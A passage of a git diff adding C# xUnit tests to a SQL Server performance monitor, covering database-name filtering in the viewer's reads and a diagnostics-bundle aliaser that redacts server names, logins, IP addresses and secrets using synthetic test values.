+        Assert.SkipWhen(string.IsNullOrEmpty(cs), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        await using var viewer = new ViewerDataService(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            using var connection = await SeedAsync(cs!, ct);
+            var end = DateTime.UtcNow;
+            var t1 = end.AddMinutes(-20);
+            var t2 = end.AddMinutes(-10);
+
+            /* A has one quiet file and B one a little busier; C has twelve busy ones, so C's files fill the unfiltered top ten and a
+               filter applied AFTER the ranking would find nothing of A and B. */
+            foreach (var t in new[] { t1, t2 })
+            {
+                await InsertFileIoAsync(connection, ct, t, DbA, "a.mdf", reads: 10);
+                await InsertFileIoAsync(connection, ct, t, DbB, "b.mdf", reads: 20);
+                for (var i = 0; i < 12; i++)
+                {
+                    await InsertFileIoAsync(connection, ct, t, DbC, $"c{i}.mdf", reads: 1000 + i);
+                }
+            }
+
+            var start = end.AddHours(-1);
+            var unfilteredLatency = await viewer.GetFileIoLatencyTrendAsync(ServerId, start, end, cancellationToken: ct);
+            Assert.Equal(new[] { DbC }, unfilteredLatency.Select(p => p.DatabaseName).Distinct().ToArray());
+            Assert.Equal(10, unfilteredLatency.Select(p => p.FileName).Distinct().Count());
+
+            var latency = await viewer.GetFileIoLatencyTrendAsync(ServerId, start, end, AB, ct);
+            Assert.Equal(new[] { DbA, DbB }, latency.Select(p => p.DatabaseName).Distinct().Order().ToArray());
+            var throughput = await viewer.GetFileIoThroughputTrendAsync(ServerId, start, end, AB, ct);
+            Assert.All(throughput, p => Assert.DoesNotContain(DbC, p.FileLabel));
+            Assert.Equal(new[] { DbA + ".a.mdf", DbB + ".b.mdf" }, throughput.Select(p => p.FileLabel).Distinct().Order().ToArray());
+            var unfilteredThroughput = await viewer.GetFileIoThroughputTrendAsync(ServerId, start, end, cancellationToken: ct);
+            Assert.All(unfilteredThroughput, p => Assert.StartsWith(DbC + ".", p.FileLabel, StringComparison.Ordinal));
+
+            /* Parity: the MCP's series for one database names the same database the viewer draws for that one database. */
+            var viewerA = await viewer.GetFileIoLatencyTrendAsync(ServerId, start, end, new[] { DbA }, ct);
+            var mcpA = await DarlingTrendReader.GetFileIoSeriesAsync(postgres, ServerId, start, end, DatabaseFilter.One(DbA), ct);
+            Assert.Equal(mcpA.Select(s => s.DatabaseName).Distinct().ToArray(), viewerA.Select(p => p.DatabaseName).Distinct().ToArray());
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task DatabaseSizes_AndStorageGrowth_Filter_KeepTheChosen_NoFilterIsUnchanged_MatchesTheMcpDatabaseSet()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        await using var viewer = new ViewerDataService(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            using var connection = await SeedAsync(cs!, ct);
+            var t = DateTime.UtcNow.AddMinutes(-5);
+            await InsertSizeAsync(connection, ct, t, DbA, 100m);
+            await InsertSizeAsync(connection, ct, t, DbB, 200m);
+            await InsertSizeAsync(connection, ct, t, DbC, 300m);
+
+            var all = await viewer.GetDatabaseSizeLatestAsync(ServerId, cancellationToken: ct);
+            Assert.Equal(new[] { DbA, DbB, DbC }, all.Select(r => r.DatabaseName).Distinct().Order().ToArray());
+
+            /* The MCP reader (unfiltered on this surface) names the same databases the unfiltered viewer read does. */
+            var mcp = await DarlingObjectStatsReader.GetLatestDatabaseSizesAsync(postgres, ServerId, ct);
+            Assert.Equal(mcp.Select(r => r.DatabaseName).Distinct().Order().ToArray(), all.Select(r => r.DatabaseName).Distinct().Order().ToArray());
+
+            var ab = await viewer.GetDatabaseSizeLatestAsync(ServerId, AB, ct);
+            Assert.Equal(new[] { DbA, DbB }, ab.Select(r => r.DatabaseName).Distinct().Order().ToArray());
+
+            var summaryAll = await viewer.GetDatabaseSizeSummaryAsync(ServerId, 10, cancellationToken: ct);
+            Assert.Equal(3, summaryAll.Count);
+            var summary = await viewer.GetDatabaseSizeSummaryAsync(ServerId, 10, AB, ct);
+            Assert.Equal(new[] { DbA, DbB }, summary.Select(r => r.DatabaseName).Order().ToArray());
+            /* The cap applies after the filter: one slot of [A, B] is the bigger of the two, not C. */
+            var capped = await viewer.GetDatabaseSizeSummaryAsync(ServerId, 1, AB, ct);
+            Assert.Equal(new[] { DbB }, capped.Select(r => r.DatabaseName).ToArray());
+
+            var growthAll = await viewer.GetStorageGrowthAsync(ServerId, cancellationToken: ct);
+            Assert.Equal(new[] { DbA, DbB, DbC }, growthAll.Select(r => r.DatabaseName).Order().ToArray());
+            var growth = await viewer.GetStorageGrowthAsync(ServerId, AB, ct);
+            Assert.Equal(new[] { DbA, DbB }, growth.Select(r => r.DatabaseName).Order().ToArray());
+            Assert.Empty(await viewer.GetStorageGrowthAsync(ServerId, new[] { "NoSuchDb", DbA.ToLowerInvariant() }, ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task Pvs_Filter_NarrowsTheLatestGridAndTheTrend_TheTopFiveAreOfTheChosen()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        await using var viewer = new ViewerDataService(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            using var connection = await SeedAsync(cs!, ct);
+            var now = DateTime.UtcNow;
+            foreach (var t in new[] { now.AddHours(-2), now.AddMinutes(-5) })
+            {
+                await InsertPvsAsync(connection, ct, t, DbA, 10m);
+                await InsertPvsAsync(connection, ct, t, DbB, 20m);
+                await InsertPvsAsync(connection, ct, t, DbC, 30m);
+                /* Six more databases bigger than A and B: unfiltered, the top five of the trend are all of these. */
+                for (var i = 0; i < 6; i++)
+                {
+                    await InsertPvsAsync(connection, ct, t, $"DeskBig{i}", 100m + i);
+                }
+            }
+
+            var all = await viewer.GetPvsStatsLatestAsync(ServerId, cancellationToken: ct);
+            Assert.Equal(9, all.Count);
+            var ab = await viewer.GetPvsStatsLatestAsync(ServerId, AB, ct);
+            Assert.Equal(new[] { DbB, DbA }, ab.Select(r => r.DatabaseName).ToArray());
+
+            var trendAll = await viewer.GetPvsTrendAsync(ServerId, now.AddDays(-1), cancellationToken: ct);
+            Assert.DoesNotContain(trendAll, p => p.DatabaseName is DbA or DbB);
+            var trend = await viewer.GetPvsTrendAsync(ServerId, now.AddDays(-1), AB, ct);
+            Assert.Equal(new[] { DbA, DbB }, trend.Select(p => p.DatabaseName).Distinct().Order().ToArray());
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    private static DateTime Naive(DateTime value) => DateTime.SpecifyKind(value, DateTimeKind.Unspecified);
+
+    private static async Task<NpgsqlConnection> SeedAsync(string cs, CancellationToken ct)
+    {
+        var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+        return connection;
+    }
+
+    private static Task InsertIndexRowAsync(NpgsqlConnection connection, CancellationToken ct, DateTime t, string? db, string table, long rowLockWaitMs) =>
+        DarlingMcpTestData.ExecAsync(connection, ct,
+            @"INSERT INTO index_object_stats (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_id, table_name, index_id, index_name, index_type_desc, reserved_mb, used_mb, total_rows, row_lock_wait_count, row_lock_wait_in_ms, page_lock_wait_count, page_lock_wait_in_ms, index_lock_promotion_count, page_latch_wait_in_ms, page_io_latch_wait_in_ms)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18,$19,$20,$21)",
+            CollectionIdGenerator.Next(), t, ServerId, ServerName, db, "dbo", 100, table, 1,
+            "PK_" + table, "CLUSTERED", 90m, 85m, 500_000L, 80L, rowLockWaitMs, 5L, 60L, 2L, 30L, 10L);
+
+    private static Task InsertConfigAsync(NpgsqlConnection connection, CancellationToken ct, DateTime t, string? db, bool optimizedLocking) =>
+        DarlingMcpTestData.ExecAsync(connection, ct,
+            "INSERT INTO database_config (config_id, capture_time, server_id, server_name, database_name, is_optimized_locking_on) VALUES ($1,$2,$3,$4,$5,$6)",
+            CollectionIdGenerator.Next(), Naive(t), ServerId, ServerName, db, optimizedLocking);
+
+    private static Task InsertFileIoAsync(NpgsqlConnection connection, CancellationToken ct, DateTime t, string db, string file, long reads) =>
+        DarlingMcpTestData.ExecAsync(connection, ct,
+            @"INSERT INTO file_io_stats (collection_id, collection_time, server_id, server_name, database_name, file_name, file_type, physical_name, size_mb, delta_reads, delta_writes, delta_read_bytes, delta_write_bytes, delta_stall_read_ms, delta_stall_write_ms, sample_interval_seconds)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16)",
+            CollectionIdGenerator.Next(), Naive(t), ServerId, ServerName, db, file, "ROWS", "D:\\data\\" + file, 1000m, reads, 5L, reads * 8192, 40960L, reads * 2, 10L, 60);
+
+    private static Task InsertSizeAsync(NpgsqlConnection connection, CancellationToken ct, DateTime t, string db, decimal sizeMb) =>
+        DarlingMcpTestData.ExecAsync(connection, ct,
+            @"INSERT INTO database_size_stats (collection_id, collection_time, server_id, server_name, database_name, database_id, file_id, file_type_desc, file_name, physical_name, total_size_mb, used_size_mb)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12)",
+            CollectionIdGenerator.Next(), Naive(t), ServerId, ServerName, db, 5, 1, "ROWS", db + "_data", "C:\\data\\" + db + ".mdf", sizeMb, sizeMb / 2);
+
+    private static Task InsertPvsAsync(NpgsqlConnection connection, CancellationToken ct, DateTime t, string db, decimal pvsMb) =>
+        DarlingMcpTestData.ExecAsync(connection, ct,
+            @"INSERT INTO pvs_stats (collection_id, collection_time, server_id, server_name, database_name, database_id, is_accelerated_database_recovery_on, persistent_version_store_size_mb, database_data_size_mb)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9)",
+            CollectionIdGenerator.Next(), Naive(t), ServerId, ServerName, db, 7, true, pvsMb, 1000m);
+
+    private static async Task DeleteRowsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        using var cleanup = new NpgsqlCommand(
+            $"DELETE FROM index_object_stats WHERE server_id = {ServerId}; DELETE FROM file_io_stats WHERE server_id = {ServerId}; "
+            + $"DELETE FROM database_size_stats WHERE server_id = {ServerId}; DELETE FROM pvs_stats WHERE server_id = {ServerId}; DELETE FROM database_config WHERE server_id = {ServerId}; "
+            + $"DELETE FROM servers WHERE server_id = {ServerId};",
+            connection);
+        await cleanup.ExecuteNonQueryAsync(ct);
+    }
+}
+
+/// <summary>
+/// #5312: no database needed. The viewer's FinOps tab reads the saved filter from the shell's server store and hands it to every
+/// narrowed read, the file I/O tab hands it to both trends, and the Locking, PVS and database-size SQL carries the list-form predicate.
+/// A pin on the source, so a tab that stops passing the filter fails here.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class DesktopDatabaseFilterSourcePinTests
+{
+    private static string ViewerFile(string name)
+    {
+        var dir = AppContext.BaseDirectory;
+        while (dir is not null && !Directory.Exists(Path.Combine(dir, "PerformanceMonitor.Darling.Viewer")) && !Directory.Exists(Path.Combine(dir, "Darling", "PerformanceMonitor.Darling.Viewer")))
+        {
+            dir = Path.GetDirectoryName(dir);
+        }
+
+        Assert.NotNull(dir);
+        var root = Directory.Exists(Path.Combine(dir!, "Darling")) ? Path.Combine(dir!, "Darling") : dir!;
+        return File.ReadAllText(Path.Combine(root, "PerformanceMonitor.Darling.Viewer", name));
+    }
+
+    [Fact]
+    public void TheFileIoTab_PassesTheSavedFilterIntoBothTrends()
+    {
+        var tab = ViewerFile("ViewerServerTab.FileIo.cs");
+        Assert.Contains("GetFileIoLatencyTrendAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter)", tab, StringComparison.Ordinal);
+        Assert.Contains("GetFileIoThroughputTrendAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter)", tab, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheFinOpsTab_PassesTheSavedFilterIntoItsNarrowedReads_AndTheShellGivesItTheStore()
+    {
+        var loaders = ViewerFile("FinOpsTab.Loaders.cs");
+        Assert.Contains("GetDatabaseSizeLatestAsync(_server.ServerId, SelectedDatabaseFilter)", loaders, StringComparison.Ordinal);
+        Assert.Contains("GetDatabaseSizeSummaryAsync(_server.ServerId, databaseNames: SelectedDatabaseFilter)", loaders, StringComparison.Ordinal);
+        Assert.Contains("GetPvsStatsLatestAsync(_server.ServerId, SelectedDatabaseFilter)", loaders, StringComparison.Ordinal);
+        Assert.Contains("GetPvsTrendAsync(_server.ServerId, DateTime.UtcNow.AddDays(-7), SelectedDatabaseFilter)", loaders, StringComparison.Ordinal);
+        /* The free-space health score stays server-wide: its read is the one unfiltered size read, and says why. */
+        Assert.Contains("dbSizes = await _dataService.GetDatabaseSizeLatestAsync(_server.ServerId);", loaders, StringComparison.Ordinal);
+
+        var locking = ViewerFile("FinOpsTab.Locking.cs");
+        Assert.Contains("GetIndexLockingDatabasesAsync(_server.ServerId, SelectedDatabaseFilter)", locking, StringComparison.Ordinal);
+        Assert.Contains("GetIndexLockingAsync(_server.ServerId, 200, db, SelectedDatabaseFilter)", locking, StringComparison.Ordinal);
+        Assert.Contains("GetOptimizedLockingNoteAsync(_server.ServerId, SelectedDatabaseFilter)", locking, StringComparison.Ordinal);
+
+        Assert.Contains("GetStorageGrowthAsync(_server.ServerId, SelectedDatabaseFilter)", ViewerFile("FinOpsTab.ObjectHeatmap.cs"), StringComparison.Ordinal);
+
+        var tab = ViewerFile("FinOpsTab.xaml.cs");
+        Assert.Contains("_serverStore?.GetViewFilterDatabases(_server.ServerName)", tab, StringComparison.Ordinal);
+        Assert.Contains("FinOpsContent.Initialize(_dataService, _serverStore)", ViewerFile("MainWindow.xaml.cs"), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheSql_CarriesTheListFormPredicate_OnEveryNarrowedRead()
+    {
+        const string P = "IS NULL OR";
+        Assert.Contains("$3::text[] " + P + " ios.database_name = ANY($3)", ViewerDataService.IndexLockingAllSql, StringComparison.Ordinal);
+        Assert.Contains("$4::text[] " + P + " ios.database_name = ANY($4)", ViewerDataService.IndexLockingByDbSql, StringComparison.Ordinal);
+        Assert.Contains("$2::text[] " + P + " ios.database_name = ANY($2)", ViewerDataService.IndexLockingDatabasesSql, StringComparison.Ordinal);
+        Assert.Contains("$2::text[] " + P + " database_name = ANY($2)", ViewerDataService.OptimizedLockingFlagsSql, StringComparison.Ordinal);
+        Assert.Contains("$3::text[] " + P + " database_name = ANY($3)", ViewerDataService.DatabaseSizeLatestSql, StringComparison.Ordinal);
+        Assert.Contains("$4::text[] " + P + " database_name = ANY($4)", ViewerDataService.DatabaseSizeSummarySql, StringComparison.Ordinal);
+        Assert.Contains("$2::text[] " + P + " database_name = ANY($2)", ViewerDataService.PvsStatsLatestSql, StringComparison.Ordinal);
+        Assert.Contains("$3::text[] " + P + " database_name = ANY($3)", ViewerDataService.PvsTrendSql, StringComparison.Ordinal);
+        /* Locking: the order ends in the total-order tie-break Lite and the MCP reader use (#5372), so the 200-row cap picks the same rows. */
+        foreach (var sql in new[] { ViewerDataService.IndexLockingAllSql, ViewerDataService.IndexLockingByDbSql })
+        {
+            Assert.Contains("COALESCE(ios.index_lock_promotion_count, 0) DESC,", sql, StringComparison.Ordinal);
+            Assert.Contains("ios.database_name, ios.schema_name, ios.table_name, ios.index_name NULLS LAST", sql, StringComparison.Ordinal);
+        }
+
+        /* File I/O: the filter sits inside the ranking, before the top ten is cut, so the ten busiest files are the chosen databases' ten.
+           The latency read ranks in file_totals and cuts in top_files (release walk V9); the throughput read cuts with LIMIT 10. */
+        foreach (var (sql, cut) in new[] { (ViewerDataService.FileIoLatencyTrendSql, "top_files AS"), (ViewerDataService.FileIoThroughputTrendSql, "LIMIT 10") })
+        {
+            var filter = sql.IndexOf("$5::text[] " + P + " database_name = ANY($5)", StringComparison.Ordinal);
+            Assert.True(filter > 0 && filter < sql.IndexOf(cut, StringComparison.Ordinal));
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/DiagnosticsBundleAliasHardeningTests.cs b/Darling/Darling.Tests/DiagnosticsBundleAliasHardeningTests.cs
new file mode 100644
index 0000000000..aadd3a133b
--- /dev/null
+++ b/Darling/Darling.Tests/DiagnosticsBundleAliasHardeningTests.cs
@@ -0,0 +1,166 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.Json.Nodes;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>#5097: the name-set holes the first review found, each pinned on the aliaser alone. Names are synthetic.</summary>
+public sealed class DiagnosticsBundleAliasHardeningTests
+{
+    [Fact]
+    public void StoreLoginKeyedRole_IsHarvested_AndProductRolesAreKept()
+    {
+        var a = new BundleAliaser();
+        var tree = JsonNode.Parse("""{"by_role":[{"role":"betaowner"},{"role":"viewer"}],"statements":[{"role":"betaowner","query":"select 1"}]}""");
+        a.Harvest(tree);
+        var text = a.AliasTree(tree)!.ToJsonString();
+        Assert.DoesNotContain("betaowner", text, StringComparison.OrdinalIgnoreCase);
+        Assert.Contains("viewer", text, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData("tcp:omega-sql,1433")]
+    [InlineData("tcp:omega-sql.example.test,1433")]
+    [InlineData(@"np:\\omega-sql\pipe\sql\query")]
+    [InlineData("admin:omega-sql")]
+    [InlineData("lpc:omega-sql")]
+    [InlineData("TCP:omega-sql:1433")]
+    public void ProtocolPrefixedHost_IsRegisteredAsTheBareHost(string raw)
+    {
+        var a = new BundleAliaser();
+        a.AddName(AliasKind.Server, raw);
+        Assert.DoesNotContain("omega-sql", a.Alias("driver says omega-sql refused"), StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("omega-sql", a.Alias("driver says tcp:omega-sql,1433 refused"), StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain(a.AliasMapLines(), l => l.Contains("tcp:", StringComparison.OrdinalIgnoreCase) || l.Contains("np:", StringComparison.OrdinalIgnoreCase));
+        if (raw.Contains("example.test", StringComparison.Ordinal))
+        {
+            Assert.DoesNotContain("example.test", a.Alias("on omega-sql.example.test and example.test"), StringComparison.OrdinalIgnoreCase);
+        }
+    }
+
+    [Theory]
+    [InlineData("Login failed for user 'QXCORP\\svc_zeta'.")]
+    [InlineData("Login failed for user \"QXCORP\\svc_zeta\".")]
+    public void QuotedDomainBackslashLogin_AliasesBothHalves(string message)
+    {
+        var a = new BundleAliaser();
+        var text = a.Alias(message);
+        Assert.DoesNotContain("QXCORP", text, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("svc_zeta", text, StringComparison.OrdinalIgnoreCase);
+        Assert.Contains("domain-1", text, StringComparison.Ordinal);
+        Assert.Contains("login-1", text, StringComparison.Ordinal);
+        /* The same pair seen in a later, unquoted spelling is already in the name set. */
+        Assert.DoesNotContain("svc_zeta", a.Alias("account QXCORP\\svc_zeta expired"), StringComparison.OrdinalIgnoreCase);
+    }
+
+    [Fact]
+    public void QuotedPair_IsRegisteredByTheHarvestPass_BeforeAnyTextIsAliased()
+    {
+        var a = new BundleAliaser();
+        var tree = JsonNode.Parse("""{"a":{"msg":"first mentions svc_zeta alone"},"b":{"msg":"Login failed for user 'QXCORP\\svc_zeta'."}}""");
+        a.Harvest(tree);
+        Assert.DoesNotContain("svc_zeta", a.AliasTree(tree)!.ToJsonString(), StringComparison.OrdinalIgnoreCase);
+    }
+
+    [Theory]
+    [InlineData("::ffff:203.0.113.77")]
+    [InlineData("::FFFF:203.0.113.77")]
+    [InlineData("0:0:0:0:0:ffff:203.0.113.77")]
+    [InlineData("64:ff9b::203.0.113.77")]
+    public void Ipv4MappedIpv6_AliasesTheWholeAddress(string address)
+    {
+        var text = new BundleAliaser().Alias("host=" + address + " refused");
+        Assert.DoesNotContain("203.0.113", text, StringComparison.Ordinal);
+        Assert.DoesNotContain("ffff", text, StringComparison.OrdinalIgnoreCase);
+        Assert.Equal("host=ip-1 refused", text);
+    }
+
+    [Fact]
+    public void DottedName_UnderAKnownDomain_BecomesAHostAlias()
+    {
+        var a = new BundleAliaser();
+        a.AddName(AliasKind.Domain, "example.test");
+        var text = a.Alias("replica sql02.example.test and again SQL02.EXAMPLE.TEST, also sql03.corp.example.test");
+        Assert.DoesNotContain("sql02", text, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("sql03", text, StringComparison.OrdinalIgnoreCase);
+        Assert.Contains("host-", text, StringComparison.Ordinal);
+        Assert.Equal(2, text.Split("host-1").Length - 1);
+    }
+
+    [Fact]
+    public void ShortConfigSecret_IsReplacedOnWordBoundaries_NotInsideOtherWords()
+    {
+        var a = new BundleAliaser();
+        a.AddSecret("ab");
+        Assert.Equal("pw [redacted] and abc and cab", a.Alias("pw ab and abc and cab"));
+    }
+
+    [Fact]
+    public void LongSecret_IsStillReplacedAnywhere_AndVerified()
+    {
+        var a = new BundleAliaser();
+        a.AddSecret("Sup3rS3cret!");
+        Assert.DoesNotContain("Sup3rS3cret!", a.Alias("xSup3rS3cret!x"), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AliasTextCheck_IsNarrow_ADatabaseCalledMain_IsStillVerified()
+    {
+        var a = new BundleAliaser();
+        a.AddName(AliasKind.Database, "main");
+        var root = new JsonObject { ["sections"] = new JsonObject { ["x"] = new JsonObject { ["msg"] = "remaining rows" } } };
+        var (leaks, text) = a.Finish(root, DiagnosticsBundle.WriteOptions);
+        Assert.Empty(leaks);
+        Assert.DoesNotContain("remaining", text!, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ARealServerNamedLikeAnAlias_CannotCollideWithTheAliasSpace()
+    {
+        var a = new BundleAliaser();
+        a.AddName(AliasKind.Server, "server-1");
+        a.AddName(AliasKind.Server, "zeta-07");
+        var text = a.Alias("server-1 and zeta-07");
+        var parts = text.Split(" and ");
+        Assert.NotEqual(parts[0], parts[1]);
+        Assert.NotEqual("server-1", parts[0]);
+        Assert.NotEqual("server-1", parts[1]);
+        Assert.DoesNotContain(a.AliasMapLines(), l => l.StartsWith("server-1\t", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public void Verifier_KeyExemption_AppliesOnlyWhenEveryOccurrenceIsExactlyAKey()
+    {
+        var a = new BundleAliaser();
+        a.AddName(AliasKind.Server, "zeta-07");
+        a.AddName(AliasKind.Database, "status_db");
+
+        /* A name that is a data key plus a different spelling elsewhere is a leak, and no text comes back. */
+        var keyed = new JsonObject { ["sections"] = new JsonObject { ["x"] = new JsonObject { ["zeta-07 stats"] = 1 } } };
+        var (leaks, text) = a.Finish(keyed, DiagnosticsBundle.WriteOptions);
+        Assert.NotEmpty(leaks);
+        Assert.Null(text);
+
+        /* A token that appears exactly as a key and nowhere else is the product's own vocabulary and is exempt. */
+        var vocabulary = new JsonObject { ["sections"] = new JsonObject { ["x"] = new JsonObject { ["status_db"] = 1 } } };
+        var (okLeaks, okText) = a.Finish(vocabulary, DiagnosticsBundle.WriteOptions);
+        Assert.Empty(okLeaks);
+        Assert.NotNull(okText);
+
+        /* The same token as a key AND as a value is a leak in the value (the alias pass fixes the value first). */
+        var both = new JsonObject { ["sections"] = new JsonObject { ["x"] = new JsonObject { ["status_db"] = a.Alias("status_db") } } };
+        var (bothLeaks, bothText) = a.Finish(both, DiagnosticsBundle.WriteOptions);
+        Assert.Empty(bothLeaks);
+        Assert.NotNull(bothText);
+    }
+}
diff --git a/Darling/Darling.Tests/DiagnosticsBundleAliasTests.cs b/Darling/Darling.Tests/DiagnosticsBundleAliasTests.cs
new file mode 100644
index 0000000000..4e461a4c69
--- /dev/null
+++ b/Darling/Darling.Tests/DiagnosticsBundleAliasTests.cs
@@ -0,0 +1,266 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.Json;
+using System.Text.Json.Nodes;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>#5097: the bundle's name aliasing and its verifier. Names are synthetic slugs.</summary>
+public sealed class DiagnosticsBundleAliasTests
+{
+    private static BundleAliaser Seeded()
+    {
+        var a = new BundleAliaser();
+        a.AddServer(11, "zeta-07");
+        a.AddName(AliasKind.Host, @"zeta-07.example.test\INST");
+        a.AddName(AliasKind.Database, "DeltaLedgerDb");
+        a.AddName(AliasKind.Database, "gamma_orders");
+        return a;
+    }
+
+    [Fact]
+    public void LongestFirst_FqdnIsReplacedWhole_AndNoAliasIsRescanned()
+    {
+        var a = Seeded();
+        var text = a.Alias("connect to zeta-07.example.test failed; zeta-07 down; example.test unreachable");
+        Assert.DoesNotContain("zeta", text, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("example.test", text, StringComparison.OrdinalIgnoreCase);
+        Assert.Contains("server-1", text, StringComparison.Ordinal);
+        Assert.Contains("domain-", text, StringComparison.Ordinal);
+        /* A second pass over already-aliased text changes nothing. */
+        Assert.Equal(text, a.Alias(text));
+    }
+
+    [Fact]
+    public void Matching_IgnoresCase()
+    {
+        var a = Seeded();
+        Assert.DoesNotContain("deltaledgerdb", a.Alias("DELTALEDGERDB and deltaLedgerDb"), StringComparison.OrdinalIgnoreCase);
+    }
+
+    [Fact]
+    public void WordBoundary_ShortNameDoesNotMatchInsideALongerWord()
+    {
+        var a = new BundleAliaser();
+        a.AddName(AliasKind.Database, "sales");
+        Assert.Equal("wholesales and db-1", a.Alias("wholesales and sales"));
+    }
+
+    [Theory]
+    [InlineData(@"host\qxinst", "host", "qxinst")]
+    [InlineData("alpha-host,1433", "alpha-host", null)]
+    [InlineData("alpha-host:5432", "alpha-host", null)]
+    [InlineData("[alpha-host]", "alpha-host", null)]
+    public void Splitting_AddsTheHostAndInstanceAsTokens(string raw, string host, string? instance)
+    {
+        var a = new BundleAliaser();
+        a.AddName(AliasKind.Server, raw);
+        Assert.DoesNotContain(host, a.Alias("on " + host + " now"), StringComparison.OrdinalIgnoreCase);
+        if (instance is not null)
+        {
+            Assert.DoesNotContain(instance, a.Alias("named " + instance), StringComparison.OrdinalIgnoreCase);
+        }
+    }
+
+    [Fact]
+    public void Fqdn_AddsFirstLabelAndDomainSuffix()
+    {
+        var a = new BundleAliaser();
+        a.AddName(AliasKind.Host, "beta-node.corp.example.test");
+        var text = a.Alias("beta-node and corp.example.test and beta-node.corp.example.test");
+        Assert.DoesNotContain("beta-node", text, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("corp.example.test", text, StringComparison.OrdinalIgnoreCase);
+    }
+
+    [Fact]
+    public void IpLiterals_BecomeIpAliases_AndAVersionNumberIsKept()
+    {
+        var a = new BundleAliaser();
+        var text = a.Alias("peer 203.0.113.40 and 2001:db8::1 and again 203.0.113.40");
+        Assert.DoesNotContain("203.0.113.40", text, StringComparison.Ordinal);
+        Assert.DoesNotContain("2001:db8", text, StringComparison.Ordinal);
+        Assert.Equal(2, text.Split("ip-1").Length - 1);
+        var tree = a.AliasTree(JsonNode.Parse("""{"product_version":"1.5.0.0","note":"v 1.5.0.0"}"""));
+        Assert.Equal("1.5.0.0", tree!["product_version"]!.GetValue<string>());
+    }
+
+    [Fact]
+    public void Keys_AreNeverRewritten_AndSystemDatabasesAreKept()
+    {
+        var a = new BundleAliaser();
+        a.AddName(AliasKind.Database, "tempdb");
+        a.AddName(AliasKind.Database, "database_name");
+        var tree = (JsonObject)a.AliasTree(JsonNode.Parse("""{"database_name":"tempdb","master":"x","msg":"in master and tempdb"}"""))!;
+        Assert.Equal("tempdb", tree["database_name"]!.GetValue<string>());
+        Assert.True(tree.ContainsKey("master"));
+        Assert.Equal("in master and tempdb", tree["msg"]!.GetValue<string>());
+    }
+
+    [Fact]
+    public void ServerId_IsRemappedToServerAlias()
+    {
+        var a = Seeded();
+        var tree = (JsonObject)a.AliasTree(JsonNode.Parse("""{"server_id":11,"arguments":{"server_id":11}}"""))!;
+        Assert.False(tree.ContainsKey("server_id"));
+        Assert.Equal("server-1", tree["server_alias"]!.GetValue<string>());
+        Assert.Equal("server-1", tree["arguments"]!["server_alias"]!.GetValue<string>());
+    }
+
+    [Fact]
+    public void Aliases_AreStableAcrossTwoRuns()
+    {
+        string One()
+        {
+            var a = Seeded();
+            return a.Alias("zeta-07 gamma_orders DeltaLedgerDb 198.51.100.7");
+        }
+
+        Assert.Equal(One(), One());
+    }
+
+    [Fact]
+    public void Harvest_PicksUpAnIdentifierKeyedValueNobodyRegistered()
+    {
+        var a = new BundleAliaser();
